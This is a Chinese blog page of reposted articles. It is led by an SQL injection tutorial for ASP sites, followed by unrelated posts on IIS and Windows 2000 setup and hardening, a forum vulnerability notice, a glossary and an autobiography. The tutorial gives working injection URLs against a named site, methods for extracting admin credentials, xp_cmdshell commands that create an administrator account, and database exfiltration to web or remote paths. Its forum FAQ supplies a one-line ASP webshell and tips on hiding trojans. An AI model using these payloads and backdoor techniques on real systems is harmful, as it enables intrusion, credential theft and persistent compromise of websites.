- 浏览: 1547793 次
- 性别:
- 来自: 上海
文章分类
- 全部博客 (532)
- 软件设计师 (7)
- PSP (5)
- NET MD (9)
- Hibernate (8)
- DIY (51)
- Work (43)
- GAME (24)
- 未分类 (44)
- iPod (6)
- MySQL (39)
- JSP (7)
- 日语能力考试 (36)
- 小说 (4)
- 豆包网 (23)
- 家用电脑 (7)
- DB2 (36)
- C/C++ (18)
- baby (9)
- Linux (13)
- thinkpad (23)
- OA (1)
- UML (6)
- oracle (24)
- 系统集成 (27)
- 脑梗塞 (6)
- 车 (8)
- MainFrame (8)
- Windows 7 (13)
- 手机 (8)
- git (12)
- AHK (2)
- COBOL (2)
- Java (9)
最新评论
-
安静听歌:
... ...
UUID做主键,好还是不好?这是个问题。 -
lehehe:
http://www.haoservice.com/docs/ ...
天气预报 -
lehehe:
[url http://www.haoservice.com/ ...
天气预报 -
liubang201010:
监控TUXEDO 的软件推荐用这个,专业,权威.并能提供报警和 ...
(转载)Tuxedo中间件简介 -
tinkame:
Next[j] =-1 当j=0时;=Max{k|0<k ...
KMP字符串模式匹配详解
SQL注入天书 - ASP注入漏洞全接触
SQL注入天书 - ASP注入漏洞全接触作者:NB联盟-小竹 (QQ:48814)
引 言
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...
入 门 篇
如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
第一节、SQL注入原理
以下我们从一个网站www.19cn.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。
在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.19cn.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp,行8
从这个错误提示我们能看出下面几点:
1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2. 程序没有判断客户端提交的数据是否符合程序要求。
3. 该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
第二节、判断能否进行SQL注入
看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?
其实,这并不是最好的方法,为什么呢?
首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的
那么,什么样的测试方法才是比较准确呢?答案如下:
① http://www.19cn.com/showdetail.asp?id=49
② http://www.19cn.com/showdetail.asp?id=49 and 1=1
③ http://www.19cn.com/showdetail.asp?id=49 and 1=2
这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
可以注入的表现:
① 正常显示(这是必然的,不然就是程序有错误了)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。
第三节、判断数据库类型及注入方法
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.19cn.com/showdetail.asp?id=49 and user>0
这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。
如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。
进 阶 篇
在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码
Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间
第三节、中文处理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。
高 级 篇
看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
第一节、利用系统表注入SQLServer数据库
SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③ http://Site/url.asp?id=1 and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
⑤ http://Site/url.asp?id=1 and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥ http://Site/url.asp?id=1 and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用select这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
防 范 方 法
SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:
Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。如果有什么疑问或想与我讨论相关问题,欢迎到www.54NB.com向提出,谢谢大家!
--------------------------------------------------------------------------------
说明:使用NBSI-NB联盟SQL注入分析器可以检测出各种SQL注入漏洞并进行解码,提高猜解效率.
版权:本文是我的原创连载文章,首发于www.54NB.com,欢迎各网站转载,请务必保留版权信息,媒体杂志转载前请先与本人联系.
-----------------------------------------------------------------------
本版FAQ及新手必读,新来的朋友请先看看
1.NBSI不是万能的,别指望NBSI能帮你猜解100%的站,甚至连手工猜解不出的都要NBSI去猜解.如果NBSI能猜解出来而手工猜解不了的,只是说明你的注入还没入门
2.不要把这里当成找黑客黑网站的地方,自己在尝试过程中有什么问题尽管提出,注意写清楚详细情况,注入是一项需要判断很多环境的技术.
3.不要试图把网址摆出来让别人从头到尾教你,也不要试图问一个几页纸都回答不完的问题,以后例如"这个网站怎么黑啊""怎么得到WebShell"之类的贴子我将直接删除.
4.不要发短讯让我帮你黑站,这是不可能的事,别浪费彼此的时间.
5.不要发表"UP""顶"之类的贴子,如果你觉得文章写得好,说出自己觉得好在哪里,而不是一味的顶贴.
6.发贴前最好先看看下面的下面常见问题解答,以免给人拍砖:
(1)问:什么叫SQL注入
答:http://nb.unionbyte.com/View.asp?PostID=1457033
(2)问:这种情况能不能注入
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'Clng' (或类型不匹配: 'CInt')
答:参数已经做了过滤,虽然不是很友好,但也是不能注入的了。
(3)问:得到网站后台管理权限后有没有方法在网站上上传木马?用什么办法!
答:找可以上传东西的地方,看能不能上传asp木马。
SQLSERVER的必须得到绝对路径,然后可以用NBWS等工具生成.
(4)问:这个MD5(如ab2a34fdf3fd232)怎么破?
答:目前MD5只能是暴力破解,请不要叫其他人破。自己去下载工具去破。工具在这里http://nb.unionbyte.com/View.asp?PostID=1457924
(5)问:防止sql注入的好方法!
答:分别从数字,字符,搜索防止。详细防止看小竹写的这个函数
Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
(6)问:木马上传后怎么样才更隐蔽
答:从管理员角度去想问题,你可以写进他不常用的文件里面。不常看,常改的文件里面是比较安全的。或者写一句话木马<%if request("x")>"" then execute request("x")%>
(7)问:我得到了字符的unicode码以后,但是我不知道如何把它还原成字符啊。
答:SQLSERVER的nchar或VB的chrw都可以还原
(8)问:下载了数据库但找不到后台
答:找后台没有捷径,继续找,或尝试另外的思路。
____________________________________________________
动网7.0与win2003配置问题
作者:未知 来源:未知 加入时间:2004-6-21
论坛用一段时间 论坛就无法打开了 但是其他WEB网页都可以 郁闷了 每次打不开 都需要把IIS重启才可以访问
感谢 xfxp 告诉我 以下是他的回答 我按照修改配置后问题已经解决
Re:动网7.0和IIS有冲突?
我在2003里面关闭了RPC出错执行重启和IIS错误调试就完全正常了,现在和2000一样好用,还有那个SQL数据库的远程连接如果没有必要就关了吧,有时也会引起RPC错误
Re:动网7.0和IIS有冲突?
服务里面的,Remote Procedure Call (RPC),默认是出错重新启动,改为不执行
还有一个是IIS里面的IS5.0出错调试什么的,关掉就行了
另外最好装上JAVA虚拟机,WIN2003不自带的
Re:动网7.0和IIS有冲突?
将 IIS 配置为 IIS 5.0 隔离模式
在“IIS 管理器”中,展开本地计算机,右键单击“网站”,然后单击“属性”。
单击“服务”选项卡,选中“以 IIS 5.0 隔离模式运行 WWW 服务”复选框,然后单击“确定”。
______________________________________________________
win2K下配置asp+cgi+php+mysql全攻略
作者:未知 来源:未知 加入时间:2004-6-21
Indexing Service,
FrontPage 2000 Server Extensions,
Internet Service Manager (HTML)
这几个别装,还有其它的一些,总之不用的都别装。
(根据安全原则,最少的服务+最小的权限=最大的安全。)
首先,打开internet管理器(开始-->程序-->管理-->Internet服务管理)
如果照上面所安装的,里面有一个默认站点和一个smtp的服务项
选默认站点,删除其下面的所有目录。(按你键盘上的delete键)
停掉iis,最简单的方法:开始-->运行-->打入net stop iisadmin 选择Y回车 (启动的命令是:net start w3svc)
把C盘的Inetpub目录彻底删掉(停掉iis后才能删),在其它盘新建一个目录
在IIS管理器中将默认站点的主目录指向刚才新建的目录
如果你需要什么权限的目录可以自己慢慢建,需要什么权限开什么。
(特别注意写权限和执行程序的权限,没有绝对的必要千万不要给,默认是没给的,所以你不用研究,呵呵..)
应用程序配置:在IIS管理器中删除必须之外的任何无用映射,
留下ASP, ASA和其他你确实需要用到的文件类型,(除了cgi,php,其它的我想你都没用,删除htw, htr, idq, ida……)
不知道在哪删吗??方法:打开Internet服务管理->选择站点->属性->WWW服务->编辑->主目录->配置->应用程序映射,
然后就开始一个个删吧(没有全选的,真麻烦)。
接着在刚刚那个窗口的应用程序调试书签内将脚本错误消息改为发送文本
(除非你想ASP出错的时候用户知道你的程序/网络/数据库结构)错误文本写什么?
随便你喜欢,自己看着办。点击确定退出时别忘了让虚拟目录继承你设定的属性。
为了对付日益增多的cgi漏洞扫描器,还有一个小技巧可以参考,
在IIS中将HTTP404 Object Not Found出错页面通过URL重定向到一个定制HTM文件,
可以让目前绝大多数CGI漏洞扫描器失灵。其实原因很简单,
大多数CGI扫描器在编写时为了方便,都是通过查看返回页面的HTTP代码来判断漏洞是否存在的,
例如,著名的IDQ漏洞一般都是通过取1.idq来检验,如果返回HTTP200,就认为是有这个漏洞,
反之如果返回HTTP404就认为没有,如果你通过URL将HTTP404出错信息重定向到HTTP404.htm文件,
那么所有的扫描无论存不存在漏洞都会返回HTTP200,90%的CGI扫描器会认为你什么漏洞都有,
结果反而掩盖了你真正的漏洞,让入侵者茫然无处下手,不过从个人角度来说,
我还是认为扎扎实实做好安全设置比这样的小技巧重要的多。
Win2000的账号安全是另一个重点,首先,Win2000的默认安装允许任何用户通过空用户得到系统所有账号/共享列表,
这个本来是为了方便局域网用户共享文件的,但是一个远程用户也可以得到你的用户列表并使用暴力法破解用户密码。
很多朋友都知道可以通过更改注册表Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous = 1来禁止139空连接,
实际上win2000的本地安全策略(如果是域服务器就是在域服务器安全和域安全策略中)就有这样的选项RestrictAnonymous(匿名连接的额外限制),
这个选项有三个值:
0:None. Rely on default permissions(无,取决于默认的权限)
1:Do not allow enumeration of SAM accounts and shares(不允许枚举SAM帐号和共享)
2:No access without explicit anonymous permissions(没有显式匿名权限就不允许访问)
0这个值是系统默认的,什么限制都没有,远程用户可以知道你机器上所有的账号、组信息、共享目录、网络传输列表(NetServerTransportEnum等等,对服务器来说这样的设置非常危险。
1这个值是只允许非NULL用户存取SAM账号信息和共享信息。
2这个值是在win2000中才支持的,需要注意的是,如果你一旦使用了这个值,你的共享估计就全部完蛋了,所以我推荐你还是设为1比较好。
好了,入侵者现在没有办法拿到我们的用户列表,我们的账户安全了……慢着,至少还有一个账户是可以跑密码的,这就是系统内建的administrator,怎么办?我改改改,在计算机管理->用户账号中右击administrator然后改名,改成什么随便你,只要能记得就行了。
改了超管理用户名后,在Terminal Service的登录界面还是可以看到的(你登录过就自已记住啦),
修改方法:
运行regedit,找到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\winlogon
项中的Don't Display Last User Name串数据改成1,这样系统不会自动显示上次的登录用户名。
为了安全,你还可以打开TCP/IP筛选,桌面上右击网上邻居->属性->右击你要配置的网卡->属性->TCP/IP->高级->选项->TCP/IP过滤,
这里有三个过滤器,分别为:TCP端口、UDP端口和IP协议
TCP端口,点击"只允许",然后在下面加上你需要开的端口,一般来说WEB服务器只需要开80(www),
FTP服务器需要开20(FTP Data),21(FTP Control),3306(Mysql),3389(远程终端控制,如果你的主机托管在别人机房里,不能直接操作,就需要这个)
邮件服务器可能需要打开25(SMTP),110(POP3),我对端口没研究,但如果照本文所提供的服务,你只要开以上几个就行了。(80,20,21,25,3306,3389)
--cgi支持
下载activeperl (可到www.perl.com下载最新版)
1、解压,运行install.exe,默认是安装在 C:\PERL 下,不过为了方便,请最好安装到 C:\USR 目录下,(这样写 Perl 解释器的路径就可以直接用 #!/usr/bin/perl 了,可以保持单机环境和网络环境路径一致。 安装时一路按Y即可。)
2、安装好后,按照下面三步来修改注册表: 运行 RegEdit,搜寻: HKEY_LOCAL_MACHINE\System\Currentcontrlset\Services\W3svc\Parameters\scriptMap\ 键名,
然后增加键名:".cgi",键值:"C:\USR\BIN\perl.exe %s %s" 和键名:".pl",键值:"C:\USR\BIN\perl.exe %s %s"
(不懂得建?那么:在右边的框内--->点右键--->新建-->字符串值 名称改为.cgi,双击该键即可输入数值数据,也就是上面说的键值)
因为要让这台主机支持php,所以顺便在这里添加上php和php3的支持(以后新建站点时可省事)
增加键名".php",键值:"C:\php\php.exe %s %s"
增加键名".php3",键值:"C:\php\php.exe %s %s"
OK,重启后即生效!cgi支持搞定!以后新建站点后,在应用程序配置里面默认就会加上php和cgi的支持(不给这个权限的话删掉就是了)。
cgi支持搞定!
--mysql支持
下载mysql (可到www.mysql.com下载最新版本)
1、解压,运行setup.exe完全安装,默认安装路径为:c:\mysql;
2、安装完成后,打开“开始”按钮中的“运行”,输入命令:C:\mysql\bin\mysqld-nt.exe --install,并执行?
3、开始-->程序-->管理工具-->服务-->找到mysql-->启动它;
4、mysql安装完成,重启win2000
5、重启后打开C:\mysql\bin\winmysqladmin.exe,在第一次用它时,需要建立管理员名及密码,分别设置用户名和密码,设定后,系统托盘会出现一个“红绿灯”的小图标(以后系统启动时均会自动加载)。
6、OK,mysql支持搞定!
--php支持
下载PHP (可到www.php.com下载最新版本)
1、将 php 4.0.4 解压到 c:\php;
2、将PHP目录内的 php.ini-dist 文件拷贝到WinNT目录内,改名为 php.ini; (这是php的配置文件,无需更改即可运行,我没仔细研究)
3、根据需要修改 php.ini 文件内容,如要使用 session 功能,请建立 c:\tmp 目录,并将 php.ini 文档内 session.save_path 的值设置成为绝对路径:c:/tmp;
4、将PHP目录内的 Php4ts.dll 文件复制到 WinNt\System32 目录内;
5、在控制面板中的管理工具里启动“Internet 服务管理器”(IIS);
6、打开站点属性,在 'ISAPI 筛选器'选项中, 增加新的筛选器,用 'PHP' 作为筛选器名称,在“可执行文件”栏中填入php4isapi.dll及其路径 (c:\php\sapi\php4isapi.dll)。
7、在属性的"文档"选项中"启用默认文档"加入"index.php";
___________________________________________________
动网7.0 sp2惊现大漏洞,请用户注意!
作者:未知 来源:未知 加入时间:2004-5-19
近日,国内使用者众多的动网论坛惊现漏洞,请各站长注意并关注动网官方,及时打补。
目前解决方法:
关闭用户上传功能。
删除或改名论坛目录下reg_upload.asp及upfile.asp两个文件。
该漏洞危害程序很高,请站长们高度重视,密切关注动网官方。
官方补丁已出,请用户下载更新:
http://www.luntan.com.cn/soft/2386.htm
_____________________________________
Sql Injection ---sql 注射
infiltrate 渗透
_________________________________________________________________________
有一些朋友对网页技术的知识了解不是很多,对一些名词常常混淆。下面总结一下:
1、Java、JavaScript和JScript。
首先,这三者没有必然的联系,它们是完全不同的事物,它们是分别由不同公司开发的,在函数方面有相同的地方,也有很多不同之处。Java是由Sun公司创立、开发;JavaScript则是Sun和Netscape公司共同开发的产品;JScript是微软对ECMA262语言规范的一种实现。这三者的共同点是,语法与C语言相似。JS是JavaScript的简称。
JScript应用于ASP,运行于服务器端。而Java、JavaScript都是运行于客户端。Sun公司后来又推出了JSP,以Java语言为基础,运行于服务器端。运行于服务器端的网页是动态网页,所以以JScript为基础的ASP、以Java为基础的JSP是动态网页,而Java、JavaScript则是静态网页。
2、静态网页、动态网页。
程序是否在服务器端运行,是重要标志。在服务器端运行的程序、网页、组件,属于动态网页,它们会随不同客户、不同时间,返回不同的网页,例如ASP、PHP、JSP、ASP.net、CGI等。运行于客户端的程序、网页、插件、组件,属于静态网页,例如html页、Flash、JavaScript、VBScript等等,它们是永远不变的。
3、VB和VBScript。
有少部分朋友把VBSCript称为VB,这是错误的。VB是Visual Basic的简称,应用于软件开发。VBScript是Microsoft Visual Basic Scripting Edition的简称,应用于客户端Web页,或者服务器端ASP页(ASP语言以VBScript或JScript为基础)。VB和VBScript共同点是语法、函数相同,由微软开发。
通常,VBScript简称为VBS。可惜现在一些网页病毒就是使用VBSCript脚本。
________________________________________________________________
[自传]程序人生十一年
程序写得累了,也写篇自传来自娱自乐一下吧。
第一次接触电脑是93年三四月间,老爸花了四千多块钱买了台386SX 25,然后就逼着我学五笔(只能靠打文章练习,而不是像现在的小孩一样上QQ泡MM练习),那时候觉得电脑真是个很枯燥的东西,完全没想到今天会靠写程序谋生。
搞了半年多,才基本学会了DOS的一些基础知识,DOS只能用640K的基本内存,所以经常为了多争取几K的内存花一大堆时间去写CONFIG.SYS,就这样反复的装系统配置系统一年后,我终于成了一个DOS高手。
DOS玩得没东西可以玩了,就开始看编程的书,BASIC功能太少,C和汇编又看不太懂,只有那个Foxbase不太难又比较好玩的,可能注定我对数据库是比较有天份的吧,学了一两年,就可以写一些小型的数据库管理系统了。
在学电脑之前,我就有玩玩股票了,后来家里买了个股票接收器,接上有线电视在家就可以看到实时的行情,不久电视台对发送的讯息要月费,我把接收的文件收下来一看,原来是DBF格式的,只改了个扩展名,于是马上开工,研究股票分析系统的存储格式。那时候没有网络,身边的人都没几个会电脑的,一切只能靠自己,在那时就养成了什么问题都自己动脑解决的习惯。通过一个星期的不断的换算研究,摸清楚了那个股票分析系统的存储格式,再用两三天的时间,一个转换程序就出炉了,一个月可以省起60-80块钱的台费,哈。运行了一段时间,情况良好,后来居然这个系统还卖出了两三套,虽然只有几百块,足够我开心一阵子了。
98年开始上网,交了两个月长途话费,终于学会跟人在BBS上"飙信",也就是现在大家说的"灌水",那时候上网的人很少,不过网上的人都很纯真。那段时间认识了很多高手,包括现在的腾讯老总马化腾,说到PonyMa,我真的很佩服他,五年前他拿着炒股赚到的70万开创了腾讯,谁都没想到能发展到今天这个阶段,他的魄力实在是我们望尘莫及的。
